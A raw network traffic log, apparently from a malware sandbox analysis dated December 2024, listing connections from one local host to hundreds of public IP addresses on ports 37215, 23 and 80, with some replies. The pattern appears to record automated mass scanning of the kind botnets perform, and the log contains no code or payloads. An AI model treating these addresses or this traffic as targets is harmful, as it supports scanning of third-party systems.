Dec 3, 2024 21:30:48.127324104 CET	59009	37215	192.168.2.23	197.9.229.120
Dec 3, 2024 21:30:48.127330065 CET	59009	37215	192.168.2.23	156.8.156.186
Dec 3, 2024 21:30:48.127337933 CET	59009	37215	192.168.2.23	197.253.179.183
Dec 3, 2024 21:30:48.127345085 CET	59009	37215	192.168.2.23	197.6.19.134
Dec 3, 2024 21:30:48.127346992 CET	59009	37215	192.168.2.23	41.101.48.47
Dec 3, 2024 21:30:48.127347946 CET	59009	37215	192.168.2.23	41.101.141.78
Dec 3, 2024 21:30:48.127350092 CET	59009	37215	192.168.2.23	41.61.142.137
Dec 3, 2024 21:30:48.127363920 CET	59009	37215	192.168.2.23	41.20.31.6
Dec 3, 2024 21:30:48.127367020 CET	59009	37215	192.168.2.23	41.222.94.212
Dec 3, 2024 21:30:48.127372026 CET	59009	37215	192.168.2.23	41.13.29.235
Dec 3, 2024 21:30:48.127377987 CET	59009	37215	192.168.2.23	156.5.60.241
Dec 3, 2024 21:30:48.127384901 CET	59009	37215	192.168.2.23	197.103.195.35
Dec 3, 2024 21:30:48.127392054 CET	59009	37215	192.168.2.23	197.157.91.97
Dec 3, 2024 21:30:48.127398968 CET	59009	37215	192.168.2.23	156.103.245.102
Dec 3, 2024 21:30:48.127405882 CET	59009	37215	192.168.2.23	156.111.237.239
Dec 3, 2024 21:30:48.127413034 CET	59009	37215	192.168.2.23	41.5.11.7
Dec 3, 2024 21:30:48.127424002 CET	59009	37215	192.168.2.23	41.180.24.110
Dec 3, 2024 21:30:48.127425909 CET	59009	37215	192.168.2.23	197.138.137.144
Dec 3, 2024 21:30:48.127441883 CET	59009	37215	192.168.2.23	156.70.20.114
Dec 3, 2024 21:30:48.127443075 CET	59009	37215	192.168.2.23	197.20.204.225
Dec 3, 2024 21:30:48.127441883 CET	59009	37215	192.168.2.23	197.191.82.87
Dec 3, 2024 21:30:48.127449036 CET	59009	37215	192.168.2.23	41.71.224.201
Dec 3, 2024 21:30:48.127456903 CET	59009	37215	192.168.2.23	197.232.196.176
Dec 3, 2024 21:30:48.127470016 CET	59009	37215	192.168.2.23	197.125.8.4
Dec 3, 2024 21:30:48.127471924 CET	59009	37215	192.168.2.23	197.30.15.189
Dec 3, 2024 21:30:48.127474070 CET	59009	37215	192.168.2.23	41.178.254.196
Dec 3, 2024 21:30:48.127477884 CET	59009	37215	192.168.2.23	156.229.100.164
Dec 3, 2024 21:30:48.127499104 CET	59009	37215	192.168.2.23	156.243.201.37
Dec 3, 2024 21:30:48.127501965 CET	59009	37215	192.168.2.23	41.57.30.139
Dec 3, 2024 21:30:48.127502918 CET	59009	37215	192.168.2.23	41.164.169.253
Dec 3, 2024 21:30:48.127504110 CET	59009	37215	192.168.2.23	197.61.97.34
Dec 3, 2024 21:30:48.127502918 CET	59009	37215	192.168.2.23	197.11.178.155
Dec 3, 2024 21:30:48.127517939 CET	59009	37215	192.168.2.23	156.208.95.114
Dec 3, 2024 21:30:48.127518892 CET	59009	37215	192.168.2.23	197.255.122.54
Dec 3, 2024 21:30:48.127532005 CET	59009	37215	192.168.2.23	197.49.192.35
Dec 3, 2024 21:30:48.147958040 CET	55596	23	192.168.2.23	180.226.45.165
Dec 3, 2024 21:30:48.147958040 CET	37486	23	192.168.2.23	90.162.115.53
Dec 3, 2024 21:30:48.147958040 CET	34690	80	192.168.2.23	142.202.33.132
Dec 3, 2024 21:30:48.147958040 CET	40418	23	192.168.2.23	126.149.6.164
Dec 3, 2024 21:30:48.147958040 CET	47072	80	192.168.2.23	136.13.75.65
Dec 3, 2024 21:30:48.147960901 CET	55110	23	192.168.2.23	31.84.141.136
Dec 3, 2024 21:30:48.147960901 CET	41002	23	192.168.2.23	134.92.94.114
Dec 3, 2024 21:30:48.147959948 CET	50370	23	192.168.2.23	191.49.74.53
Dec 3, 2024 21:30:48.147963047 CET	48710	23	192.168.2.23	221.134.164.214
Dec 3, 2024 21:30:48.147960901 CET	45082	23	192.168.2.23	154.103.122.174
Dec 3, 2024 21:30:48.147960901 CET	34436	80	192.168.2.23	24.149.246.129
Dec 3, 2024 21:30:48.147960901 CET	54152	23	192.168.2.23	44.195.146.69
Dec 3, 2024 21:30:48.147964954 CET	47556	80	192.168.2.23	216.131.217.108
Dec 3, 2024 21:30:48.147964954 CET	54854	23	192.168.2.23	199.68.110.182
Dec 3, 2024 21:30:48.147960901 CET	33946	80	192.168.2.23	171.78.11.150
Dec 3, 2024 21:30:48.147964954 CET	45934	80	192.168.2.23	139.246.200.67
Dec 3, 2024 21:30:48.147964954 CET	51068	23	192.168.2.23	166.138.27.199
Dec 3, 2024 21:30:48.147964954 CET	59458	80	192.168.2.23	81.168.40.42
Dec 3, 2024 21:30:48.147964954 CET	48442	23	192.168.2.23	38.230.52.186
Dec 3, 2024 21:30:48.147964954 CET	41888	80	192.168.2.23	8.105.165.198
Dec 3, 2024 21:30:48.147965908 CET	56646	23	192.168.2.23	124.203.112.21
Dec 3, 2024 21:30:48.147964954 CET	37822	80	192.168.2.23	25.253.247.243
Dec 3, 2024 21:30:48.147965908 CET	47720	23	192.168.2.23	75.160.31.192
Dec 3, 2024 21:30:48.147964954 CET	58476	80	192.168.2.23	217.117.141.188
Dec 3, 2024 21:30:48.147964954 CET	39598	80	192.168.2.23	62.96.206.43
Dec 3, 2024 21:30:48.147964954 CET	54912	23	192.168.2.23	31.115.173.21
Dec 3, 2024 21:30:48.147964954 CET	53760	80	192.168.2.23	89.173.214.49
Dec 3, 2024 21:30:48.147963047 CET	54420	23	192.168.2.23	123.174.95.78
Dec 3, 2024 21:30:48.147964954 CET	60028	80	192.168.2.23	104.234.241.23
Dec 3, 2024 21:30:48.147963047 CET	44126	80	192.168.2.23	32.198.110.33
Dec 3, 2024 21:30:48.147964954 CET	51182	80	192.168.2.23	46.19.30.11
Dec 3, 2024 21:30:48.147963047 CET	50180	80	192.168.2.23	208.246.133.237
Dec 3, 2024 21:30:48.147995949 CET	39932	23	192.168.2.23	112.132.199.236
Dec 3, 2024 21:30:48.148000002 CET	58726	23	192.168.2.23	120.88.152.82
Dec 3, 2024 21:30:48.148000002 CET	44024	80	192.168.2.23	185.221.32.180
Dec 3, 2024 21:30:48.148000002 CET	44170	80	192.168.2.23	148.66.215.250
Dec 3, 2024 21:30:48.148000002 CET	36628	23	192.168.2.23	114.202.233.170
Dec 3, 2024 21:30:48.148000002 CET	51658	37215	192.168.2.23	197.157.44.86
Dec 3, 2024 21:30:48.148000956 CET	57574	23	192.168.2.23	189.35.228.33
Dec 3, 2024 21:30:48.148000002 CET	54002	80	192.168.2.23	93.194.223.82
Dec 3, 2024 21:30:48.148000956 CET	43602	23	192.168.2.23	99.93.175.166
Dec 3, 2024 21:30:48.148000956 CET	38956	23	192.168.2.23	110.182.120.133
Dec 3, 2024 21:30:48.148000956 CET	57976	80	192.168.2.23	199.155.1.164
Dec 3, 2024 21:30:48.148001909 CET	39552	80	192.168.2.23	32.227.59.119
Dec 3, 2024 21:30:48.148000956 CET	59906	80	192.168.2.23	145.105.254.172
Dec 3, 2024 21:30:48.148001909 CET	33458	80	192.168.2.23	92.42.91.229
Dec 3, 2024 21:30:48.148000956 CET	52084	23	192.168.2.23	217.32.184.17
Dec 3, 2024 21:30:48.148001909 CET	39532	80	192.168.2.23	5.104.106.96
Dec 3, 2024 21:30:48.148003101 CET	45350	80	192.168.2.23	171.48.150.224
Dec 3, 2024 21:30:48.148005009 CET	41664	80	192.168.2.23	24.242.230.192
Dec 3, 2024 21:30:48.148005009 CET	38100	80	192.168.2.23	42.199.59.6
Dec 3, 2024 21:30:48.148005009 CET	59874	23	192.168.2.23	107.168.123.168
Dec 3, 2024 21:30:48.148005009 CET	50568	23	192.168.2.23	190.108.219.142
Dec 3, 2024 21:30:48.148005009 CET	40748	23	192.168.2.23	124.122.37.176
Dec 3, 2024 21:30:48.148005962 CET	60286	80	192.168.2.23	138.250.81.210
Dec 3, 2024 21:30:48.148005962 CET	54830	80	192.168.2.23	120.196.61.187
Dec 3, 2024 21:30:48.148006916 CET	43128	80	192.168.2.23	4.17.178.247
Dec 3, 2024 21:30:48.148005962 CET	39888	80	192.168.2.23	96.227.56.195
Dec 3, 2024 21:30:48.148006916 CET	56784	80	192.168.2.23	23.46.95.33
Dec 3, 2024 21:30:48.148005962 CET	40592	80	192.168.2.23	141.173.180.9
Dec 3, 2024 21:30:48.148006916 CET	53804	23	192.168.2.23	115.40.46.103
Dec 3, 2024 21:30:48.148005962 CET	35140	80	192.168.2.23	167.75.81.162
Dec 3, 2024 21:30:48.148006916 CET	36432	23	192.168.2.23	45.172.212.85
Dec 3, 2024 21:30:48.179944992 CET	35426	23	192.168.2.23	149.91.244.159
Dec 3, 2024 21:30:48.179944992 CET	36088	80	192.168.2.23	34.35.216.85
Dec 3, 2024 21:30:48.179945946 CET	37520	80	192.168.2.23	212.76.170.100
Dec 3, 2024 21:30:48.179945946 CET	60518	80	192.168.2.23	173.191.101.175
Dec 3, 2024 21:30:48.179944992 CET	46062	23	192.168.2.23	31.229.241.126
Dec 3, 2024 21:30:48.179948092 CET	52890	23	192.168.2.23	96.205.234.198
Dec 3, 2024 21:30:48.179948092 CET	33706	23	192.168.2.23	136.250.188.100
Dec 3, 2024 21:30:48.179949045 CET	32938	80	192.168.2.23	183.134.212.93
Dec 3, 2024 21:30:48.179948092 CET	58808	23	192.168.2.23	144.213.89.100
Dec 3, 2024 21:30:48.179948092 CET	39608	23	192.168.2.23	174.9.206.53
Dec 3, 2024 21:30:48.179948092 CET	48818	80	192.168.2.23	172.153.131.92
Dec 3, 2024 21:30:48.179949045 CET	33604	80	192.168.2.23	40.18.80.153
Dec 3, 2024 21:30:48.179949045 CET	48860	80	192.168.2.23	168.79.240.244
Dec 3, 2024 21:30:48.179975986 CET	43802	80	192.168.2.23	79.74.148.82
Dec 3, 2024 21:30:48.179975986 CET	41300	80	192.168.2.23	69.255.176.9
Dec 3, 2024 21:30:48.179975986 CET	34222	80	192.168.2.23	147.179.254.202
Dec 3, 2024 21:30:48.179975986 CET	60512	80	192.168.2.23	143.141.87.96
Dec 3, 2024 21:30:48.179975986 CET	48276	80	192.168.2.23	149.30.241.216
Dec 3, 2024 21:30:48.179980993 CET	43302	23	192.168.2.23	198.30.38.126
Dec 3, 2024 21:30:48.179981947 CET	46638	23	192.168.2.23	190.198.5.191
Dec 3, 2024 21:30:48.179980993 CET	60610	80	192.168.2.23	223.111.24.66
Dec 3, 2024 21:30:48.179981947 CET	52318	23	192.168.2.23	85.221.238.108
Dec 3, 2024 21:30:48.179981947 CET	34066	80	192.168.2.23	68.81.161.145
Dec 3, 2024 21:30:48.179981947 CET	44394	80	192.168.2.23	52.117.45.194
Dec 3, 2024 21:30:48.179981947 CET	36052	80	192.168.2.23	185.96.7.190
Dec 3, 2024 21:30:48.179984093 CET	37090	80	192.168.2.23	61.41.15.72
Dec 3, 2024 21:30:48.179984093 CET	43992	23	192.168.2.23	8.231.208.205
Dec 3, 2024 21:30:48.179984093 CET	43838	80	192.168.2.23	207.88.49.48
Dec 3, 2024 21:30:48.179985046 CET	55106	23	192.168.2.23	132.7.150.151
Dec 3, 2024 21:30:48.179986000 CET	39590	23	192.168.2.23	126.139.174.236
Dec 3, 2024 21:30:48.179986954 CET	56896	23	192.168.2.23	67.238.86.80
Dec 3, 2024 21:30:48.179986000 CET	45626	23	192.168.2.23	185.206.192.229
Dec 3, 2024 21:30:48.179986954 CET	55744	80	192.168.2.23	119.211.146.165
Dec 3, 2024 21:30:48.179986000 CET	58148	80	192.168.2.23	71.187.196.149
Dec 3, 2024 21:30:48.179986000 CET	39454	80	192.168.2.23	150.63.45.186
Dec 3, 2024 21:30:48.179992914 CET	50612	80	192.168.2.23	2.81.246.81
Dec 3, 2024 21:30:48.179994106 CET	34146	23	192.168.2.23	41.143.130.47
Dec 3, 2024 21:30:48.179994106 CET	41738	80	192.168.2.23	201.148.44.14
Dec 3, 2024 21:30:48.179994106 CET	55766	80	192.168.2.23	116.150.62.104
Dec 3, 2024 21:30:48.211908102 CET	54956	80	192.168.2.23	20.208.169.44
Dec 3, 2024 21:30:48.211908102 CET	35656	23	192.168.2.23	76.197.255.59
Dec 3, 2024 21:30:48.211908102 CET	38070	80	192.168.2.23	126.106.81.125
Dec 3, 2024 21:30:48.211920023 CET	51886	23	192.168.2.23	165.196.232.59
Dec 3, 2024 21:30:48.211920023 CET	60818	23	192.168.2.23	61.149.4.162
Dec 3, 2024 21:30:48.211920023 CET	54784	80	192.168.2.23	210.147.64.70
Dec 3, 2024 21:30:48.211920023 CET	56066	23	192.168.2.23	114.105.219.78
Dec 3, 2024 21:30:48.211920023 CET	58478	80	192.168.2.23	104.94.144.183
Dec 3, 2024 21:30:48.211920023 CET	33480	23	192.168.2.23	94.53.178.134
Dec 3, 2024 21:30:48.211920023 CET	45780	23	192.168.2.23	149.247.78.101
Dec 3, 2024 21:30:48.211920977 CET	40320	23	192.168.2.23	18.42.8.116
Dec 3, 2024 21:30:48.211922884 CET	49118	80	192.168.2.23	60.56.169.194
Dec 3, 2024 21:30:48.211920977 CET	44240	23	192.168.2.23	78.206.57.97
Dec 3, 2024 21:30:48.211922884 CET	51922	23	192.168.2.23	51.29.120.189
Dec 3, 2024 21:30:48.211925983 CET	33218	23	192.168.2.23	66.236.91.125
Dec 3, 2024 21:30:48.211920977 CET	39062	23	192.168.2.23	184.229.202.223
Dec 3, 2024 21:30:48.211922884 CET	37682	23	192.168.2.23	122.196.110.119
Dec 3, 2024 21:30:48.211925983 CET	33464	23	192.168.2.23	190.83.192.26
Dec 3, 2024 21:30:48.211920977 CET	44656	23	192.168.2.23	142.231.68.168
Dec 3, 2024 21:30:48.211922884 CET	43314	23	192.168.2.23	102.168.154.78
Dec 3, 2024 21:30:48.211924076 CET	42116	23	192.168.2.23	173.179.126.49
Dec 3, 2024 21:30:48.211924076 CET	34926	80	192.168.2.23	212.142.16.202
Dec 3, 2024 21:30:48.211924076 CET	45834	23	192.168.2.23	170.105.201.50
Dec 3, 2024 21:30:48.211935043 CET	57736	80	192.168.2.23	24.0.191.2
Dec 3, 2024 21:30:48.211946964 CET	54170	80	192.168.2.23	17.167.215.31
Dec 3, 2024 21:30:48.211946964 CET	54034	23	192.168.2.23	116.81.24.23
Dec 3, 2024 21:30:48.211946964 CET	41120	80	192.168.2.23	143.64.223.189
Dec 3, 2024 21:30:48.211954117 CET	35502	80	192.168.2.23	9.37.142.235
Dec 3, 2024 21:30:48.211954117 CET	42220	23	192.168.2.23	119.247.196.173
Dec 3, 2024 21:30:48.211954117 CET	53358	23	192.168.2.23	185.101.37.253
Dec 3, 2024 21:30:48.211955070 CET	37248	23	192.168.2.23	145.62.86.198
Dec 3, 2024 21:30:48.211954117 CET	35436	23	192.168.2.23	89.39.80.175
Dec 3, 2024 21:30:48.211955070 CET	40204	80	192.168.2.23	117.28.210.174
Dec 3, 2024 21:30:48.211956024 CET	37812	23	192.168.2.23	108.168.79.23
Dec 3, 2024 21:30:48.211956024 CET	34928	23	192.168.2.23	203.22.118.120
Dec 3, 2024 21:30:48.211954117 CET	56920	23	192.168.2.23	32.99.96.169
Dec 3, 2024 21:30:48.211955070 CET	58894	80	192.168.2.23	97.66.36.254
Dec 3, 2024 21:30:48.211955070 CET	57176	80	192.168.2.23	82.135.213.51
Dec 3, 2024 21:30:48.243921041 CET	34770	23	192.168.2.23	177.22.117.95
Dec 3, 2024 21:30:48.243923903 CET	37636	23	192.168.2.23	50.163.33.191
Dec 3, 2024 21:30:48.243923903 CET	40344	23	192.168.2.23	123.202.252.202
Dec 3, 2024 21:30:48.243925095 CET	49642	23	192.168.2.23	106.149.153.131
Dec 3, 2024 21:30:48.243926048 CET	60028	23	192.168.2.23	20.91.56.183
Dec 3, 2024 21:30:48.243925095 CET	55912	23	192.168.2.23	182.169.144.217
Dec 3, 2024 21:30:48.243938923 CET	49850	23	192.168.2.23	27.120.105.64
Dec 3, 2024 21:30:48.243940115 CET	59270	23	192.168.2.23	135.47.64.52
Dec 3, 2024 21:30:48.243940115 CET	35144	23	192.168.2.23	206.191.117.246
Dec 3, 2024 21:30:48.243940115 CET	33422	23	192.168.2.23	135.171.155.42
Dec 3, 2024 21:30:48.243944883 CET	43066	23	192.168.2.23	57.248.133.100
Dec 3, 2024 21:30:48.243944883 CET	60010	23	192.168.2.23	151.177.113.149
Dec 3, 2024 21:30:48.243964911 CET	38096	23	192.168.2.23	70.220.90.220
Dec 3, 2024 21:30:48.243974924 CET	38950	23	192.168.2.23	157.28.211.113
Dec 3, 2024 21:30:48.246417999 CET	37215	59009	197.215.104.102	192.168.2.23
Dec 3, 2024 21:30:48.246444941 CET	37215	59009	197.59.152.207	192.168.2.23
Dec 3, 2024 21:30:48.246495962 CET	59009	37215	192.168.2.23	197.59.152.207
Dec 3, 2024 21:30:48.246500015 CET	59009	37215	192.168.2.23	197.215.104.102
Dec 3, 2024 21:30:48.246510029 CET	37215	59009	41.75.37.101	192.168.2.23
Dec 3, 2024 21:30:48.246553898 CET	59009	37215	192.168.2.23	41.75.37.101
Dec 3, 2024 21:30:48.246562958 CET	37215	59009	156.223.49.69	192.168.2.23
Dec 3, 2024 21:30:48.246577024 CET	37215	59009	41.130.173.219	192.168.2.23
Dec 3, 2024 21:30:48.246601105 CET	59009	37215	192.168.2.23	156.223.49.69
Dec 3, 2024 21:30:48.246603012 CET	37215	59009	197.244.48.70	192.168.2.23
Dec 3, 2024 21:30:48.246609926 CET	59009	37215	192.168.2.23	41.130.173.219
Dec 3, 2024 21:30:48.246638060 CET	37215	59009	41.140.236.148	192.168.2.23
Dec 3, 2024 21:30:48.246646881 CET	59009	37215	192.168.2.23	197.244.48.70
Dec 3, 2024 21:30:48.246664047 CET	37215	59009	197.116.233.17	192.168.2.23
Dec 3, 2024 21:30:48.246690035 CET	59009	37215	192.168.2.23	41.140.236.148
Dec 3, 2024 21:30:48.246716022 CET	59009	37215	192.168.2.23	197.116.233.17
Dec 3, 2024 21:30:48.246798992 CET	37215	59009	197.216.74.198	192.168.2.23
Dec 3, 2024 21:30:48.246809006 CET	37215	59009	156.128.47.189	192.168.2.23
Dec 3, 2024 21:30:48.246818066 CET	37215	59009	41.0.186.183	192.168.2.23
Dec 3, 2024 21:30:48.246843100 CET	59009	37215	192.168.2.23	197.216.74.198
Dec 3, 2024 21:30:48.246843100 CET	59009	37215	192.168.2.23	156.128.47.189
Dec 3, 2024 21:30:48.246845961 CET	37215	59009	156.125.207.114	192.168.2.23
Dec 3, 2024 21:30:48.246855974 CET	59009	37215	192.168.2.23	41.0.186.183
Dec 3, 2024 21:30:48.246887922 CET	59009	37215	192.168.2.23	156.125.207.114
Dec 3, 2024 21:30:48.246917963 CET	37215	59009	197.135.129.229	192.168.2.23
Dec 3, 2024 21:30:48.246954918 CET	59009	37215	192.168.2.23	197.135.129.229
Dec 3, 2024 21:30:48.246990919 CET	37215	59009	156.221.107.169	192.168.2.23
Dec 3, 2024 21:30:48.247034073 CET	59009	37215	192.168.2.23	156.221.107.169
Dec 3, 2024 21:30:48.247064114 CET	37215	59009	156.190.175.18	192.168.2.23
Dec 3, 2024 21:30:48.247108936 CET	59009	37215	192.168.2.23	156.190.175.18
Dec 3, 2024 21:30:48.247191906 CET	37215	59009	156.79.21.228	192.168.2.23
Dec 3, 2024 21:30:48.247234106 CET	59009	37215	192.168.2.23	156.79.21.228
Dec 3, 2024 21:30:48.268138885 CET	23	55596	180.226.45.165	192.168.2.23
Dec 3, 2024 21:30:48.268174887 CET	23	37486	90.162.115.53	192.168.2.23
Dec 3, 2024 21:30:48.268255949 CET	55596	23	192.168.2.23	180.226.45.165
Dec 3, 2024 21:30:48.268255949 CET	37486	23	192.168.2.23	90.162.115.53
Dec 3, 2024 21:30:48.275871992 CET	48512	80	192.168.2.23	185.106.6.240
Dec 3, 2024 21:30:48.275876045 CET	53798	80	192.168.2.23	70.59.74.111
Dec 3, 2024 21:30:48.275876045 CET	45200	23	192.168.2.23	157.91.73.108
Dec 3, 2024 21:30:48.275876999 CET	39922	23	192.168.2.23	108.226.186.89
Dec 3, 2024 21:30:48.275876999 CET	54738	23	192.168.2.23	24.102.155.93
Dec 3, 2024 21:30:48.275876999 CET	58438	23	192.168.2.23	51.25.109.80
Dec 3, 2024 21:30:48.275877953 CET	44442	80	192.168.2.23	98.250.251.241
Dec 3, 2024 21:30:48.275877953 CET	59592	80	192.168.2.23	61.221.108.188
Dec 3, 2024 21:30:48.275877953 CET	60636	80	192.168.2.23	44.110.203.30
Dec 3, 2024 21:30:48.275876999 CET	49650	23	192.168.2.23	137.28.97.110
Dec 3, 2024 21:30:48.275876999 CET	55806	80	192.168.2.23	73.240.148.23
Dec 3, 2024 21:30:48.275877953 CET	46980	80	192.168.2.23	71.241.199.137
Dec 3, 2024 21:30:48.275877953 CET	50144	80	192.168.2.23	116.89.72.201
Dec 3, 2024 21:30:48.275876999 CET	47948	80	192.168.2.23	95.173.119.198
Dec 3, 2024 21:30:48.275877953 CET	45910	80	192.168.2.23	46.56.224.146
Dec 3, 2024 21:30:48.275876999 CET	39964	23	192.168.2.23	168.168.34.37
Dec 3, 2024 21:30:48.275876999 CET	55544	23	192.168.2.23	158.107.98.95
Dec 3, 2024 21:30:48.275876999 CET	44042	80	192.168.2.23	43.224.132.202
Dec 3, 2024 21:30:48.275877953 CET	37992	80	192.168.2.23	96.138.239.29
Dec 3, 2024 21:30:48.275877953 CET	43278	80	192.168.2.23	113.147.65.116
Dec 3, 2024 21:30:48.275897980 CET	47778	80	192.168.2.23	107.185.75.32
Dec 3, 2024 21:30:48.275897980 CET	56792	80	192.168.2.23	106.112.235.0
Dec 3, 2024 21:30:48.275897980 CET	54430	23	192.168.2.23	91.104.170.187
Dec 3, 2024 21:30:48.275897980 CET	37550	80	192.168.2.23	32.52.200.179
Dec 3, 2024 21:30:48.275899887 CET	48154	23	192.168.2.23	101.26.86.182
Dec 3, 2024 21:30:48.275903940 CET	58220	80	192.168.2.23	84.80.80.191
Dec 3, 2024 21:30:48.275903940 CET	60886	80	192.168.2.23	109.170.255.145
Dec 3, 2024 21:30:48.275906086 CET	45612	80	192.168.2.23	196.184.18.109
Dec 3, 2024 21:30:48.275906086 CET	52332	80	192.168.2.23	156.152.234.108
Dec 3, 2024 21:30:48.275907993 CET	56860	80	192.168.2.23	52.145.201.68
Dec 3, 2024 21:30:48.275907993 CET	54280	80	192.168.2.23	51.30.12.228
Dec 3, 2024 21:30:48.275914907 CET	49150	80	192.168.2.23	79.143.137.11
Dec 3, 2024 21:30:48.300039053 CET	23	35426	149.91.244.159	192.168.2.23
Dec 3, 2024 21:30:48.300054073 CET	80	36088	34.35.216.85	192.168.2.23
Dec 3, 2024 21:30:48.300076962 CET	80	37520	212.76.170.100	192.168.2.23
Dec 3, 2024 21:30:48.300087929 CET	80	60518	173.191.101.175	192.168.2.23
Dec 3, 2024 21:30:48.300229073 CET	35426	23	192.168.2.23	149.91.244.159
Dec 3, 2024 21:30:48.300234079 CET	36088	80	192.168.2.23	34.35.216.85
Dec 3, 2024 21:30:48.300235033 CET	60518	80	192.168.2.23	173.191.101.175
Dec 3, 2024 21:30:48.300235033 CET	37520	80	192.168.2.23	212.76.170.100
Dec 3, 2024 21:30:48.300265074 CET	59010	80	192.168.2.23	151.62.98.232
Dec 3, 2024 21:30:48.300266027 CET	59010	80	192.168.2.23	42.157.213.192
Dec 3, 2024 21:30:48.300272942 CET	59010	80	192.168.2.23	59.157.117.58
Dec 3, 2024 21:30:48.300282001 CET	59010	80	192.168.2.23	76.159.79.80
Dec 3, 2024 21:30:48.300287962 CET	59010	80	192.168.2.23	80.163.65.207
Dec 3, 2024 21:30:48.300287962 CET	59010	80	192.168.2.23	82.41.226.209
Dec 3, 2024 21:30:48.300287962 CET	59010	80	192.168.2.23	186.98.81.181
Dec 3, 2024 21:30:48.300292969 CET	59010	80	192.168.2.23	165.228.181.58
Dec 3, 2024 21:30:48.300307989 CET	59010	80	192.168.2.23	109.107.65.192
Dec 3, 2024 21:30:48.300308943 CET	59010	80	192.168.2.23	31.155.76.39
Dec 3, 2024 21:30:48.300318956 CET	59010	80	192.168.2.23	169.54.225.247
Dec 3, 2024 21:30:48.300323009 CET	59010	80	192.168.2.23	4.2.175.48
Dec 3, 2024 21:30:48.300327063 CET	59010	80	192.168.2.23	42.87.151.136
Dec 3, 2024 21:30:48.300327063 CET	59010	80	192.168.2.23	37.56.242.203
Dec 3, 2024 21:30:48.300348043 CET	59010	80	192.168.2.23	98.10.215.202
Dec 3, 2024 21:30:48.300350904 CET	59010	80	192.168.2.23	216.177.75.189
Dec 3, 2024 21:30:48.300352097 CET	59010	80	192.168.2.23	184.123.195.49
Dec 3, 2024 21:30:48.300370932 CET	59010	80	192.168.2.23	129.152.57.118
Dec 3, 2024 21:30:48.300370932 CET	59010	80	192.168.2.23	111.165.185.176
Dec 3, 2024 21:30:48.300370932 CET	59010	80	192.168.2.23	75.48.36.187
Dec 3, 2024 21:30:48.300370932 CET	59010	80	192.168.2.23	198.200.235.52
Dec 3, 2024 21:30:48.300375938 CET	59010	80	192.168.2.23	222.46.95.216
Dec 3, 2024 21:30:48.300381899 CET	59010	80	192.168.2.23	31.145.79.57
Dec 3, 2024 21:30:48.300381899 CET	59010	80	192.168.2.23	1.56.8.239
Dec 3, 2024 21:30:48.300381899 CET	59010	80	192.168.2.23	153.63.100.219
Dec 3, 2024 21:30:48.300401926 CET	59010	80	192.168.2.23	184.182.124.189
Dec 3, 2024 21:30:48.300405025 CET	59010	80	192.168.2.23	180.33.67.237
Dec 3, 2024 21:30:48.300415039 CET	59010	80	192.168.2.23	187.231.110.116
Dec 3, 2024 21:30:48.300421000 CET	59010	80	192.168.2.23	167.215.137.157
Dec 3, 2024 21:30:48.300435066 CET	59010	80	192.168.2.23	120.82.151.106
Dec 3, 2024 21:30:48.300443888 CET	59010	80	192.168.2.23	46.38.104.234
Dec 3, 2024 21:30:48.300445080 CET	59010	80	192.168.2.23	183.209.28.76
Dec 3, 2024 21:30:48.300446033 CET	59010	80	192.168.2.23	112.96.46.147
Dec 3, 2024 21:30:48.300453901 CET	59010	80	192.168.2.23	18.110.208.168
Dec 3, 2024 21:30:48.300456047 CET	59010	80	192.168.2.23	209.12.225.129
Dec 3, 2024 21:30:48.300460100 CET	59010	80	192.168.2.23	158.209.188.63
Dec 3, 2024 21:30:48.300467968 CET	59010	80	192.168.2.23	170.120.242.177
Dec 3, 2024 21:30:48.300482035 CET	59010	80	192.168.2.23	210.9.235.192
Dec 3, 2024 21:30:48.300489902 CET	59010	80	192.168.2.23	180.106.62.57
Dec 3, 2024 21:30:48.300489902 CET	59010	80	192.168.2.23	92.158.11.232
Dec 3, 2024 21:30:48.300503016 CET	59010	80	192.168.2.23	117.82.62.108
Dec 3, 2024 21:30:48.300503016 CET	59010	80	192.168.2.23	105.195.121.231
Dec 3, 2024 21:30:48.300503969 CET	59010	80	192.168.2.23	134.27.130.10
Dec 3, 2024 21:30:48.300520897 CET	59010	80	192.168.2.23	89.143.125.210
Dec 3, 2024 21:30:48.300523043 CET	59010	80	192.168.2.23	134.105.210.158
Dec 3, 2024 21:30:48.300527096 CET	59010	80	192.168.2.23	126.183.131.95
Dec 3, 2024 21:30:48.300533056 CET	59010	80	192.168.2.23	67.240.100.148
Dec 3, 2024 21:30:48.300539017 CET	59010	80	192.168.2.23	42.131.222.47
Dec 3, 2024 21:30:48.300544024 CET	59010	80	192.168.2.23	9.111.121.188
Dec 3, 2024 21:30:48.300558090 CET	59010	80	192.168.2.23	210.146.6.45
Dec 3, 2024 21:30:48.300558090 CET	59010	80	192.168.2.23	107.207.50.54
Dec 3, 2024 21:30:48.300575018 CET	59010	80	192.168.2.23	194.148.218.158
Dec 3, 2024 21:30:48.300576925 CET	59010	80	192.168.2.23	212.92.68.13
Dec 3, 2024 21:30:48.300578117 CET	59010	80	192.168.2.23	9.72.132.203
Dec 3, 2024 21:30:48.300578117 CET	59010	80	192.168.2.23	83.46.201.53
Dec 3, 2024 21:30:48.300596952 CET	59010	80	192.168.2.23	223.82.218.178
Dec 3, 2024 21:30:48.300597906 CET	59010	80	192.168.2.23	111.246.172.79
Dec 3, 2024 21:30:48.300602913 CET	59010	80	192.168.2.23	79.183.145.40
Dec 3, 2024 21:30:48.300604105 CET	59010	80	192.168.2.23	17.106.78.108
Dec 3, 2024 21:30:48.300615072 CET	59010	80	192.168.2.23	99.15.169.187
Dec 3, 2024 21:30:48.300618887 CET	59010	80	192.168.2.23	155.136.133.47
Dec 3, 2024 21:30:48.300621986 CET	59010	80	192.168.2.23	2.57.111.171
Dec 3, 2024 21:30:48.300625086 CET	59010	80	192.168.2.23	169.78.9.121
Dec 3, 2024 21:30:48.300648928 CET	59010	80	192.168.2.23	179.198.250.110
Dec 3, 2024 21:30:48.300649881 CET	59010	80	192.168.2.23	24.3.135.147
Dec 3, 2024 21:30:48.300649881 CET	59010	80	192.168.2.23	61.234.65.237
Dec 3, 2024 21:30:48.300653934 CET	59010	80	192.168.2.23	61.18.51.165
Dec 3, 2024 21:30:48.300653934 CET	59010	80	192.168.2.23	126.96.154.161
Dec 3, 2024 21:30:48.300657034 CET	59010	80	192.168.2.23	105.63.79.168
Dec 3, 2024 21:30:48.300657034 CET	59010	80	192.168.2.23	180.249.22.29
Dec 3, 2024 21:30:48.300658941 CET	59010	80	192.168.2.23	166.149.29.218
Dec 3, 2024 21:30:48.300666094 CET	59010	80	192.168.2.23	76.106.48.55
Dec 3, 2024 21:30:48.300671101 CET	59010	80	192.168.2.23	220.88.110.212
Dec 3, 2024 21:30:48.300688982 CET	59010	80	192.168.2.23	117.85.194.153
